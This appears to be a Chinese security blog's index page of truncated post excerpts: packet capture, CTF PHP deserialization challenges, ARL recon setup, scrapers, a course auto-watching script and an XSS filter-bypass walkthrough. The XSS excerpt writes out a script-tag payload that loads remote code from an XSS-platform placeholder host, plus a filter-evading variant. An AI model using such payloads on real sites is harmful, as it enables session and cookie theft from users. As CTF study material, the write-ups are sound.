安卓抓包参考：Android抓包心得 (随便点击的帖子，用于测试) 配置fiddler，显示image 提取链接 http://sns-img-bd.xhscdn.com/1000g00824fXXXXXXXXXXXXX6t5t82icg170?imageView2/2/w/1080/format/reif/q/90 http://sns-img-bd.xhscdn.com/1...

代码原理 在一开始想写的是用户输入配置账号密码就能全自动的是看课程，发现到后面mainContent框架的目录的时候，xpath执行有点问题，目录点击没有好的方法。 随后，想的是直接通过发包，进行刷课，几个关键包的数据都是js生成，js分析不太会，自己对session和cookie的处理还不太行，返回包的 set-cookie 让我头疼，懒得处理。只能回到老路子 之后又是修修改...

安装 Python3 安装略。 Python3 安装 selenium pip3 install selenium 安装 Chrome 使用 edge 去访问搜索下载即可。 https://www.google.com/chrome/ 方法一 查看 Chrome 版本 地址框输入：chrome://settings/help，确定自己的程序版本...

题目源代码 <!-- PHP 5.6.40 (cli) (built: Jan 31 2019 01:30:45) --> <?php highlight_file(__FILE__); error_reporting(0); class Happy{ private $cmd; private $content; public functio...

安装ARL ARL只适配CentOS7， 直接在服务器上下载会出现各种各样的问题 我们下载setup-arl.sh wget https://raw.githubusercontent.com/TophantTechnology/ARL/master/misc/setup-arl.sh 进行分析，查看需要什么环境，提前准备进行安装 下面是提取出来的，需要下载的环境 rpm -v...

web254 源代码 <?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; ...

首先，从访问开始进行抓包，分析数据流量。 会发现一个html包，但是里面是json数据，是关于图片信息的，里面包含图片URL。就可以开始写脚本了。 爬取很多的话，可以写一个 sleep，防止短时间访问过多。 import requests from urllib.parse import quote import json import os import time def...

第一层：robots.txt User-agent: * Disallow: /fAke_f1agggg.php 第二层：header头 <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (iss...

在xss.pt 注册一个账号，配置XSS 我们复制srcipt这一条 <sCRiPt sRC=//xx.xx/xxxx></sCrIpT> 我们会发现过滤了script和空格，进行其他代码尝试，会发现 ( ) 括号也进行了过滤 我们有大小写+双写可以过滤srcipt，空格使用反斜杠进行绕过 <sCRisCRiPtPt/sRC=//xx.xx/...

题目：输入一个整形数组，数组里有正数也有负数。数组中连续的一个，或多个整数组成一个子数组，每个子数组都有一个和。求所有子数组的和的最大值。 不考虑纯负数的数组 import optparse def FindMaximumSumOfSubArray(lstda): # 找到最大的子数组的和 # print(lstda) sum, max = 0, 0 ...